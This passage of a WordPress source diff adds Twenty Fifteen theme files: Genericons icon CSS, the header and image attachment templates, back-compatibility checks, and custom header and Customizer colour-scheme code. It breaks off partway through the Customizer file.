+.genericon-info:before { content: "\f455"; }
+.genericon-instagram:before { content: "\f215"; }
+.genericon-italic:before { content: "\f472"; }
+.genericon-key:before { content: "\f427"; }
+.genericon-leftarrow:before { content: "\f503"; }
+.genericon-link:before { content: "\f107"; }
+.genericon-linkedin:before { content: "\f207"; }
+.genericon-linkedin-alt:before { content: "\f208"; }
+.genericon-location:before { content: "\f417"; }
+.genericon-lock:before { content: "\f470"; }
+.genericon-mail:before { content: "\f410"; }
+.genericon-maximize:before { content: "\f422"; }
+.genericon-menu:before { content: "\f419"; }
+.genericon-microphone:before { content: "\f50d"; }
+.genericon-minimize:before { content: "\f421"; }
+.genericon-minus:before { content: "\f50e"; }
+.genericon-month:before { content: "\f307"; }
+.genericon-move:before { content: "\f50f"; }
+.genericon-next:before { content: "\f429"; }
+.genericon-notice:before { content: "\f456"; }
+.genericon-paintbrush:before { content: "\f506"; }
+.genericon-path:before { content: "\f219"; }
+.genericon-pause:before { content: "\f448"; }
+.genericon-phone:before { content: "\f437"; }
+.genericon-picture:before { content: "\f473"; }
+.genericon-pinned:before { content: "\f308"; }
+.genericon-pinterest:before { content: "\f209"; }
+.genericon-pinterest-alt:before { content: "\f210"; }
+.genericon-play:before { content: "\f452"; }
+.genericon-plugin:before { content: "\f439"; }
+.genericon-plus:before { content: "\f510"; }
+.genericon-pocket:before { content: "\f224"; }
+.genericon-polldaddy:before { content: "\f217"; }
+.genericon-portfolio:before { content: "\f460"; }
+.genericon-previous:before { content: "\f430"; }
+.genericon-print:before { content: "\f469"; }
+.genericon-quote:before { content: "\f106"; }
+.genericon-rating-empty:before { content: "\f511"; }
+.genericon-rating-full:before { content: "\f512"; }
+.genericon-rating-half:before { content: "\f513"; }
+.genericon-reddit:before { content: "\f222"; }
+.genericon-refresh:before { content: "\f420"; }
+.genericon-reply:before { content: "\f412"; }
+.genericon-reply-alt:before { content: "\f466"; }
+.genericon-reply-single:before { content: "\f467"; }
+.genericon-rewind:before { content: "\f459"; }
+.genericon-rightarrow:before { content: "\f501"; }
+.genericon-search:before { content: "\f400"; }
+.genericon-send-to-phone:before { content: "\f438"; }
+.genericon-send-to-tablet:before { content: "\f454"; }
+.genericon-share:before { content: "\f415"; }
+.genericon-show:before { content: "\f403"; }
+.genericon-shuffle:before { content: "\f514"; }
+.genericon-sitemap:before { content: "\f507"; }
+.genericon-skip-ahead:before { content: "\f451"; }
+.genericon-skip-back:before { content: "\f450"; }
+.genericon-skype:before { content: "\f220"; }
+.genericon-spam:before { content: "\f424"; }
+.genericon-spotify:before { content: "\f515"; }
+.genericon-standard:before { content: "\f100"; }
+.genericon-star:before { content: "\f408"; }
+.genericon-status:before { content: "\f105"; }
+.genericon-stop:before { content: "\f449"; }
+.genericon-stumbleupon:before { content: "\f223"; }
+.genericon-subscribe:before { content: "\f463"; }
+.genericon-subscribed:before { content: "\f465"; }
+.genericon-summary:before { content: "\f425"; }
+.genericon-tablet:before { content: "\f453"; }
+.genericon-tag:before { content: "\f302"; }
+.genericon-time:before { content: "\f303"; }
+.genericon-top:before { content: "\f435"; }
+.genericon-trash:before { content: "\f407"; }
+.genericon-tumblr:before { content: "\f214"; }
+.genericon-twitch:before { content: "\f516"; }
+.genericon-twitter:before { content: "\f202"; }
+.genericon-unapprove:before { content: "\f446"; }
+.genericon-unsubscribe:before { content: "\f464"; }
+.genericon-unzoom:before { content: "\f401"; }
+.genericon-uparrow:before { content: "\f500"; }
+.genericon-user:before { content: "\f304"; }
+.genericon-video:before { content: "\f104"; }
+.genericon-videocamera:before { content: "\f517"; }
+.genericon-vimeo:before { content: "\f212"; }
+.genericon-warning:before { content: "\f414"; }
+.genericon-website:before { content: "\f475"; }
+.genericon-week:before { content: "\f306"; }
+.genericon-wordpress:before { content: "\f205"; }
+.genericon-xpost:before { content: "\f504"; }
+.genericon-youtube:before { content: "\f213"; }
+.genericon-zoom:before { content: "\f402"; }
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/header.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/header.php	(revision 33402)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * The template for displaying the header
+ *
+ * Displays all of the head element and everything up until the "site-content" div.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?><!DOCTYPE html>
+<html <?php language_attributes(); ?> class="no-js">
+<head>
+	<meta charset="<?php bloginfo( 'charset' ); ?>">
+	<meta name="viewport" content="width=device-width">
+	<link rel="profile" href="http://gmpg.org/xfn/11">
+	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
+	<!--[if lt IE 9]>
+	<script src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/html5.js"></script>
+	<![endif]-->
+	<script>(function(){document.documentElement.className='js'})();</script>
+	<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="hfeed site">
+	<a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'twentyfifteen' ); ?></a>
+
+	<div id="sidebar" class="sidebar">
+		<header id="masthead" class="site-header" role="banner">
+			<div class="site-branding">
+				<?php
+					if ( is_front_page() && is_home() ) : ?>
+						<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
+					<?php else : ?>
+						<p class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></p>
+					<?php endif;
+
+					$description = get_bloginfo( 'description', 'display' );
+					if ( $description || is_customize_preview() ) : ?>
+						<p class="site-description"><?php echo $description; ?></p>
+					<?php endif;
+				?>
+				<button class="secondary-toggle"><?php _e( 'Menu and widgets', 'twentyfifteen' ); ?></button>
+			</div><!-- .site-branding -->
+		</header><!-- .site-header -->
+
+		<?php get_sidebar(); ?>
+	</div><!-- .sidebar -->
+
+	<div id="content" class="site-content">
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/image.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/image.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/image.php	(revision 33402)
@@ -0,0 +1,94 @@
+<?php
+/**
+ * The template for displaying image attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+			<?php
+				// Start the loop.
+				while ( have_posts() ) : the_post();
+			?>
+
+				<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+
+					<nav id="image-navigation" class="navigation image-navigation">
+						<div class="nav-links">
+							<div class="nav-previous"><?php previous_image_link( false, __( 'Previous Image', 'twentyfifteen' ) ); ?></div><div class="nav-next"><?php next_image_link( false, __( 'Next Image', 'twentyfifteen' ) ); ?></div>
+						</div><!-- .nav-links -->
+					</nav><!-- .image-navigation -->
+
+					<header class="entry-header">
+						<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+
+						<div class="entry-attachment">
+							<?php
+								/**
+								 * Filter the default Twenty Fifteen image attachment size.
+								 *
+								 * @since Twenty Fifteen 1.0
+								 *
+								 * @param string $image_size Image size. Default 'large'.
+								 */
+								$image_size = apply_filters( 'twentyfifteen_attachment_size', 'large' );
+
+								echo wp_get_attachment_image( get_the_ID(), $image_size );
+							?>
+
+							<?php if ( has_excerpt() ) : ?>
+								<div class="entry-caption">
+									<?php the_excerpt(); ?>
+								</div><!-- .entry-caption -->
+							<?php endif; ?>
+
+						</div><!-- .entry-attachment -->
+
+						<?php
+							the_content();
+							wp_link_pages( array(
+								'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfifteen' ) . '</span>',
+								'after'       => '</div>',
+								'link_before' => '<span>',
+								'link_after'  => '</span>',
+								'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>%',
+								'separator'   => '<span class="screen-reader-text">, </span>',
+							) );
+						?>
+					</div><!-- .entry-content -->
+
+					<footer class="entry-footer">
+						<?php twentyfifteen_entry_meta(); ?>
+						<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<span class="edit-link">', '</span>' ); ?>
+					</footer><!-- .entry-footer -->
+
+				</article><!-- #post-## -->
+
+				<?php
+					// If comments are open or we have at least one comment, load up the comment template
+					if ( comments_open() || get_comments_number() ) :
+						comments_template();
+					endif;
+
+					// Previous/next post navigation.
+					the_post_navigation( array(
+						'prev_text' => _x( '<span class="meta-nav">Published in</span><span class="post-title">%title</span>', 'Parent post link', 'twentyfifteen' ),
+					) );
+
+				// End the loop.
+				endwhile;
+			?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/back-compat.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/back-compat.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/back-compat.php	(revision 33402)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Twenty Fifteen back compat functionality
+ *
+ * Prevents Twenty Fifteen from running on WordPress versions prior to 4.1,
+ * since this theme is not meant to be backward compatible beyond that and
+ * relies on many newer functions and markup changes introduced in 4.1.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+/**
+ * Prevent switching to Twenty Fifteen on old versions of WordPress.
+ *
+ * Switches to the default theme.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_switch_theme() {
+	switch_theme( WP_DEFAULT_THEME, WP_DEFAULT_THEME );
+	unset( $_GET['activated'] );
+	add_action( 'admin_notices', 'twentyfifteen_upgrade_notice' );
+}
+add_action( 'after_switch_theme', 'twentyfifteen_switch_theme' );
+
+/**
+ * Add message for unsuccessful theme switch.
+ *
+ * Prints an update nag after an unsuccessful attempt to switch to
+ * Twenty Fifteen on WordPress versions prior to 4.1.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_upgrade_notice() {
+	$message = sprintf( __( 'Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again.', 'twentyfifteen' ), $GLOBALS['wp_version'] );
+	printf( '<div class="error"><p>%s</p></div>', $message );
+}
+
+/**
+ * Prevent the Customizer from being loaded on WordPress versions prior to 4.1.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_customize() {
+	wp_die( sprintf( __( 'Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again.', 'twentyfifteen' ), $GLOBALS['wp_version'] ), '', array(
+		'back_link' => true,
+	) );
+}
+add_action( 'load-customize.php', 'twentyfifteen_customize' );
+
+/**
+ * Prevent the Theme Preview from being loaded on WordPress versions prior to 4.1.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_preview() {
+	if ( isset( $_GET['preview'] ) ) {
+		wp_die( sprintf( __( 'Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again.', 'twentyfifteen' ), $GLOBALS['wp_version'] ) );
+	}
+}
+add_action( 'template_redirect', 'twentyfifteen_preview' );
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/custom-header.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/custom-header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/custom-header.php	(revision 33402)
@@ -0,0 +1,356 @@
+<?php
+/**
+ * Custom Header functionality for Twenty Fifteen
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+/**
+ * Set up the WordPress core custom header feature.
+ *
+ * @uses twentyfifteen_header_style()
+ */
+function twentyfifteen_custom_header_setup() {
+	$color_scheme        = twentyfifteen_get_color_scheme();
+	$default_text_color  = trim( $color_scheme[4], '#' );
+
+	/**
+	 * Filter Twenty Fifteen custom-header support arguments.
+	 *
+	 * @since Twenty Fifteen 1.0
+	 *
+	 * @param array $args {
+	 *     An array of custom-header support arguments.
+	 *
+	 *     @type string $default_text_color     Default color of the header text.
+	 *     @type int    $width                  Width in pixels of the custom header image. Default 954.
+	 *     @type int    $height                 Height in pixels of the custom header image. Default 1300.
+	 *     @type string $wp-head-callback       Callback function used to styles the header image and text
+	 *                                          displayed on the blog.
+	 * }
+	 */
+	add_theme_support( 'custom-header', apply_filters( 'twentyfifteen_custom_header_args', array(
+		'default-text-color'     => $default_text_color,
+		'width'                  => 954,
+		'height'                 => 1300,
+		'wp-head-callback'       => 'twentyfifteen_header_style',
+	) ) );
+}
+add_action( 'after_setup_theme', 'twentyfifteen_custom_header_setup' );
+
+/**
+ * Convert HEX to RGB.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param string $color The original color, in 3- or 6-digit hexadecimal form.
+ * @return array Array containing RGB (red, green, and blue) values for the given
+ *               HEX code, empty array otherwise.
+ */
+function twentyfifteen_hex2rgb( $color ) {
+	$color = trim( $color, '#' );
+
+	if ( strlen( $color ) == 3 ) {
+		$r = hexdec( substr( $color, 0, 1 ).substr( $color, 0, 1 ) );
+		$g = hexdec( substr( $color, 1, 1 ).substr( $color, 1, 1 ) );
+		$b = hexdec( substr( $color, 2, 1 ).substr( $color, 2, 1 ) );
+	} else if ( strlen( $color ) == 6 ) {
+		$r = hexdec( substr( $color, 0, 2 ) );
+		$g = hexdec( substr( $color, 2, 2 ) );
+		$b = hexdec( substr( $color, 4, 2 ) );
+	} else {
+		return array();
+	}
+
+	return array( 'red' => $r, 'green' => $g, 'blue' => $b );
+}
+
+if ( ! function_exists( 'twentyfifteen_header_style' ) ) :
+/**
+ * Styles the header image and text displayed on the blog.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @see twentyfifteen_custom_header_setup()
+ */
+function twentyfifteen_header_style() {
+	$header_image = get_header_image();
+
+	// If no custom options for text are set, let's bail.
+	if ( empty( $header_image ) && display_header_text() ) {
+		return;
+	}
+
+	// If we get this far, we have custom styles. Let's do this.
+	?>
+	<style type="text/css" id="twentyfifteen-header-css">
+	<?php
+		// Short header for when there is no Custom Header and Header Text is hidden.
+		if ( empty( $header_image ) && ! display_header_text() ) :
+	?>
+		.site-header {
+			padding-top: 14px;
+			padding-bottom: 14px;
+		}
+
+		.site-branding {
+			min-height: 42px;
+		}
+
+		@media screen and (min-width: 46.25em) {
+			.site-header {
+				padding-top: 21px;
+				padding-bottom: 21px;
+			}
+			.site-branding {
+				min-height: 56px;
+			}
+		}
+		@media screen and (min-width: 55em) {
+			.site-header {
+				padding-top: 25px;
+				padding-bottom: 25px;
+			}
+			.site-branding {
+				min-height: 62px;
+			}
+		}
+		@media screen and (min-width: 59.6875em) {
+			.site-header {
+				padding-top: 0;
+				padding-bottom: 0;
+			}
+			.site-branding {
+				min-height: 0;
+			}
+		}
+	<?php
+		endif;
+
+		// Has a Custom Header been added?
+		if ( ! empty( $header_image ) ) :
+	?>
+		.site-header {
+			background: url(<?php header_image(); ?>) no-repeat 50% 50%;
+			-webkit-background-size: cover;
+			-moz-background-size:    cover;
+			-o-background-size:      cover;
+			background-size:         cover;
+		}
+
+		@media screen and (min-width: 59.6875em) {
+			body:before {
+				background: url(<?php header_image(); ?>) no-repeat 100% 50%;
+				-webkit-background-size: cover;
+				-moz-background-size:    cover;
+				-o-background-size:      cover;
+				background-size:         cover;
+				border-right: 0;
+			}
+
+			.site-header {
+				background: transparent;
+			}
+		}
+	<?php
+		endif;
+
+		// Has the text been hidden?
+		if ( ! display_header_text() ) :
+	?>
+		.site-title,
+		.site-description {
+			clip: rect(1px, 1px, 1px, 1px);
+			position: absolute;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+endif; // twentyfifteen_header_style
+
+/**
+ * Enqueues front-end CSS for the header background color.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentyfifteen_header_background_color_css() {
+	$color_scheme            = twentyfifteen_get_color_scheme();
+	$default_color           = $color_scheme[1];
+	$header_background_color = get_theme_mod( 'header_background_color', $default_color );
+
+	// Don't do anything if the current color is the default.
+	if ( $header_background_color === $default_color ) {
+		return;
+	}
+
+	$css = '
+		/* Custom Header Background Color */
+		body:before,
+		.site-header {
+			background-color: %1$s;
+		}
+
+		@media screen and (min-width: 59.6875em) {
+			.site-header,
+			.secondary {
+				background-color: transparent;
+			}
+
+			.widget button,
+			.widget input[type="button"],
+			.widget input[type="reset"],
+			.widget input[type="submit"],
+			.widget_calendar tbody a,
+			.widget_calendar tbody a:hover,
+			.widget_calendar tbody a:focus {
+				color: %1$s;
+			}
+		}
+	';
+
+	wp_add_inline_style( 'twentyfifteen-style', sprintf( $css, $header_background_color ) );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfifteen_header_background_color_css', 11 );
+
+/**
+ * Enqueues front-end CSS for the sidebar text color.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_sidebar_text_color_css() {
+	$color_scheme       = twentyfifteen_get_color_scheme();
+	$default_color      = $color_scheme[4];
+	$sidebar_link_color = get_theme_mod( 'sidebar_textcolor', $default_color );
+
+	// Don't do anything if the current color is the default.
+	if ( $sidebar_link_color === $default_color ) {
+		return;
+	}
+
+	// If we get this far, we have custom styles. Let's do this.
+	$sidebar_link_color_rgb     = twentyfifteen_hex2rgb( $sidebar_link_color );
+	$sidebar_text_color         = vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.7)', $sidebar_link_color_rgb );
+	$sidebar_border_color       = vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.1)', $sidebar_link_color_rgb );
+	$sidebar_border_focus_color = vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.3)', $sidebar_link_color_rgb );
+
+	$css = '
+		/* Custom Sidebar Text Color */
+		.site-title a,
+		.site-description,
+		.secondary-toggle:before {
+			color: %1$s;
+		}
+
+		.site-title a:hover,
+		.site-title a:focus {
+			color: %1$s; /* Fallback for IE7 and IE8 */
+			color: %2$s;
+		}
+
+		.secondary-toggle {
+			border-color: %1$s; /* Fallback for IE7 and IE8 */
+			border-color: %3$s;
+		}
+
+		.secondary-toggle:hover,
+		.secondary-toggle:focus {
+			border-color: %1$s; /* Fallback for IE7 and IE8 */
+			border-color: %4$s;
+		}
+
+		.site-title a {
+			outline-color: %1$s; /* Fallback for IE7 and IE8 */
+			outline-color: %4$s;
+		}
+
+		@media screen and (min-width: 59.6875em) {
+			.secondary a,
+			.dropdown-toggle:after,
+			.widget-title,
+			.widget blockquote cite,
+			.widget blockquote small {
+				color: %1$s;
+			}
+
+			.widget button,
+			.widget input[type="button"],
+			.widget input[type="reset"],
+			.widget input[type="submit"],
+			.widget_calendar tbody a {
+				background-color: %1$s;
+			}
+
+			.textwidget a {
+				border-color: %1$s;
+			}
+
+			.secondary a:hover,
+			.secondary a:focus,
+			.main-navigation .menu-item-description,
+			.widget,
+			.widget blockquote,
+			.widget .wp-caption-text,
+			.widget .gallery-caption {
+				color: %2$s;
+			}
+
+			.widget button:hover,
+			.widget button:focus,
+			.widget input[type="button"]:hover,
+			.widget input[type="button"]:focus,
+			.widget input[type="reset"]:hover,
+			.widget input[type="reset"]:focus,
+			.widget input[type="submit"]:hover,
+			.widget input[type="submit"]:focus,
+			.widget_calendar tbody a:hover,
+			.widget_calendar tbody a:focus {
+				background-color: %2$s;
+			}
+
+			.widget blockquote {
+				border-color: %2$s;
+			}
+
+			.main-navigation ul,
+			.main-navigation li,
+			.secondary-toggle,
+			.widget input,
+			.widget textarea,
+			.widget table,
+			.widget th,
+			.widget td,
+			.widget pre,
+			.widget li,
+			.widget_categories .children,
+			.widget_nav_menu .sub-menu,
+			.widget_pages .children,
+			.widget abbr[title] {
+				border-color: %3$s;
+			}
+
+			.dropdown-toggle:hover,
+			.dropdown-toggle:focus,
+			.widget hr {
+				background-color: %3$s;
+			}
+
+			.widget input:focus,
+			.widget textarea:focus {
+				border-color: %4$s;
+			}
+
+			.sidebar a:focus,
+			.dropdown-toggle:focus {
+				outline-color: %4$s;
+			}
+		}
+	';
+
+	wp_add_inline_style( 'twentyfifteen-style', sprintf( $css, $sidebar_link_color, $sidebar_text_color, $sidebar_border_color, $sidebar_border_focus_color ) );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfifteen_sidebar_text_color_css', 11 );
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/customizer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/customizer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/inc/customizer.php	(revision 33402)
@@ -0,0 +1,712 @@
+<?php
+/**
+ * Twenty Fifteen Customizer functionality
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+/**
+ * Add postMessage support for site title and description for the Customizer.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param WP_Customize_Manager $wp_customize Customizer object.
+ */
+function twentyfifteen_customize_register( $wp_customize ) {
+	$color_scheme = twentyfifteen_get_color_scheme();
+
+	$wp_customize->get_setting( 'blogname' )->transport        = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage';
+
+	// Add color scheme setting and control.
+	$wp_customize->add_setting( 'color_scheme', array(
+		'default'           => 'default',
+		'sanitize_callback' => 'twentyfifteen_sanitize_color_scheme',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( 'color_scheme', array(
+		'label'    => __( 'Base Color Scheme', 'twentyfifteen' ),
+		'section'  => 'colors',
+		'type'     => 'select',
+		'choices'  => twentyfifteen_get_color_scheme_choices(),
+		'priority' => 1,
+	) );
+
+	// Add custom header and sidebar text color setting and control.
+	$wp_customize->add_setting( 'sidebar_textcolor', array(
+		'default'           => $color_scheme[4],
+		'sanitize_callback' => 'sanitize_hex_color',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'sidebar_textcolor', array(
+		'label'       => __( 'Header and Sidebar Text Color', 'twentyfifteen' ),
+		'description' => __( 'Applied to the header on small screens and the sidebar on wide screens.', 'twentyfifteen' ),
+		'section'     => 'colors',
+	) ) );
+
+	// Remove the core header textcolor control, as it shares the sidebar text color.
+	$wp_customize->remove_control( 'header_textcolor' );
+
+	// Add custom header and sidebar background color setting and control.
+	$wp_customize->add_setting( 'header_background_color', array(
+		'default'           => $color_scheme[1],
+		'sanitize_callback' => 'sanitize_hex_color',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'header_background_color', array(
+		'label'       => __( 'Header and Sidebar Background Color', 'twentyfifteen' ),
+		'description' => __( 'Applied to the header on small screens and the sidebar on wide screens.', 'twentyfifteen' ),
+		'section'     => 'colors',
+	) ) );
+
+	// Add an additional description to the header image section.
+	$wp_customize->get_section( 'header_image' )->description = __( 'Applied to the header on small screens and the sidebar on wide screens.', 'twentyfifteen' );
+}
+add_action( 'customize_register', 'twentyfifteen_customize_register', 11 );
+
+/**
+ * Register color schemes for Twenty Fifteen.
+ *
+ * Can be filtered with {@see 'twentyfifteen_color_schemes'}.
+ *
+ * The order of colors in a colors array:
+ * 1. Main Background Color.
+ * 2. Sidebar Background Color.
+ * 3. Box Background Color.
+ * 4. Main Text and Link Color.
+ * 5. Sidebar Text and Link Color.
+ * 6. Meta Box Background Color.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return array An associative array of color scheme options.
+ */
+function twentyfifteen_get_color_schemes() {
+	return apply_filters( 'twentyfifteen_color_schemes', array(
+		'default' => array(
+			'label'  => __( 'Default', 'twentyfifteen' ),
+			'colors' => array(
+				'#f1f1f1',
+				'#ffffff',
+				'#ffffff',
+				'#333333',
+				'#333333',
+				'#f7f7f7',
+			),
+		),
+		'dark'    => array(
+			'label'  => __( 'Dark', 'twentyfifteen' ),
+			'colors' => array(
+				'#111111',
+				'#202020',
+				'#202020',
+				'#bebebe',
+				'#bebebe',
+				'#1b1b1b',
+			),
+		),
+		'yellow'  => array(
+			'label'  => __( 'Yellow', 'twentyfifteen' ),
+			'colors' => array(
+				'#f4ca16',
+				'#ffdf00',
+				'#ffffff',
+				'#111111',
+				'#111111',
+				'#f1f1f1',
+			),
+		),
+		'pink'    => array(
+			'label'  => __( 'Pink', 'twentyfifteen' ),
+			'colors' => array(
+				'#ffe5d1',
+				'#e53b51',
+				'#ffffff',
+				'#352712',
+				'#ffffff',
+				'#f1f1f1',
+			),
+		),
+		'purple'  => array(
+			'label'  => __( 'Purple', 'twentyfifteen' ),
+			'colors' => array(
+				'#674970',
+				'#2e2256',
+				'#ffffff',
+				'#2e2256',
+				'#ffffff',
+				'#f1f1f1',
+			),
+		),
+		'blue'   => array(
+			'label'  => __( 'Blue', 'twentyfifteen' ),
+			'colors' => array(
+				'#e9f2f9',
+				'#55c3dc',
+				'#ffffff',
+				'#22313f',
+				'#ffffff',
+				'#f1f1f1',
+			),
+		),
+	) );
+}
+
+if ( ! function_exists( 'twentyfifteen_get_color_scheme' ) ) :
+/**
+ * Get the current Twenty Fifteen color scheme.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return array An associative array of either the current or default color scheme hex values.
+ */
+function twentyfifteen_get_color_scheme() {
+	$color_scheme_option = get_theme_mod( 'color_scheme', 'default' );
+	$color_schemes       = twentyfifteen_get_color_schemes();
+
+	if ( array_key_exists( $color_scheme_option, $color_schemes ) ) {
+		return $color_schemes[ $color_scheme_option ]['colors'];
+	}
+
+	return $color_schemes['default']['colors'];
+}
+endif; // twentyfifteen_get_color_scheme
+
+if ( ! function_exists( 'twentyfifteen_get_color_scheme_choices' ) ) :
+/**
+ * Returns an array of color scheme choices registered for Twenty Fifteen.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return array Array of color schemes.
+ */
+function twentyfifteen_get_color_scheme_choices() {
+	$color_schemes                = twentyfifteen_get_color_schemes();
+	$color_scheme_control_options = array();
+
+	foreach ( $color_schemes as $color_scheme => $value ) {
+		$color_scheme_control_options[ $color_scheme ] = $value['label'];
+	}
+
+	return $color_scheme_control_options;
+}
+endif; // twentyfifteen_get_color_scheme_choices
+
+if ( ! function_exists( 'twentyfifteen_sanitize_color_scheme' ) ) :
+/**
+ * Sanitization callback for color schemes.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param string $value Color scheme name value.
+ * @return string Color scheme name.
+ */
+function twentyfifteen_sanitize_color_scheme( $value ) {
+	$color_schemes = twentyfifteen_get_color_scheme_choices();
+
+	if ( ! array_key_exists( $value, $color_schemes ) ) {
+		$value = 'default';
+	}
+
+	return $value;
+}
+endif; // twentyfifteen_sanitize_color_scheme
+
+/**
+ * Enqueues front-end CSS for color scheme.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentyfifteen_color_scheme_css() {
+	$color_scheme_option = get_theme_mod( 'color_scheme', 'default' );
+
+	// Don't do anything if the default color scheme is selected.
+	if ( 'default' === $color_scheme_option ) {
+		return;
+	}
+
+	$color_scheme = twentyfifteen_get_color_scheme();
+
+	// Convert main and sidebar text hex color to rgba.
+	$color_textcolor_rgb         = twentyfifteen_hex2rgb( $color_scheme[3] );
+	$color_sidebar_textcolor_rgb = twentyfifteen_hex2rgb( $color_scheme[4] );
+	$colors = array(
+		'background_color'            => $color_scheme[0],
+		'header_background_color'     => $color_scheme[1],
+		'box_background_color'        => $color_scheme[2],
+		'textcolor'                   => $color_scheme[3],
+		'secondary_textcolor'         => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.7)', $color_textcolor_rgb ),
+		'border_color'                => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.1)', $color_textcolor_rgb ),
+		'border_focus_color'          => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.3)', $color_textcolor_rgb ),
+		'sidebar_textcolor'           => $color_scheme[4],
+		'sidebar_border_color'        => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.1)', $color_sidebar_textcolor_rgb ),
+		'sidebar_border_focus_color'  => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.3)', $color_sidebar_textcolor_rgb ),
+		'secondary_sidebar_textcolor' => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.7)', $color_sidebar_textcolor_rgb ),
+		'meta_box_background_color'   => $color_scheme[5],
+	);
+
+	$color_scheme_css = twentyfifteen_get_color_scheme_css( $colors );
+
+	wp_add_inline_style( 'twentyfifteen-style', $color_scheme_css );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfifteen_color_scheme_css' );
+
+/**
+ * Binds JS listener to make Customizer color_scheme control.
+ *
+ * Passes color scheme data as colorScheme global.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_customize_control_js() {
+	wp_enqueue_script( 'color-scheme-control', get_template_directory_uri() . '/js/color-scheme-control.js', array( 'customize-controls', 'iris', 'underscore', 'wp-util' ), '20141216', true );
+	wp_localize_script( 'color-scheme-control', 'colorScheme', twentyfifteen_get_color_schemes() );
+}
+add_action( 'customize_controls_enqueue_scripts', 'twentyfifteen_customize_control_js' );
+
+/**
+ * Binds JS handlers to make the Customizer preview reload changes asynchronously.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_customize_preview_js() {
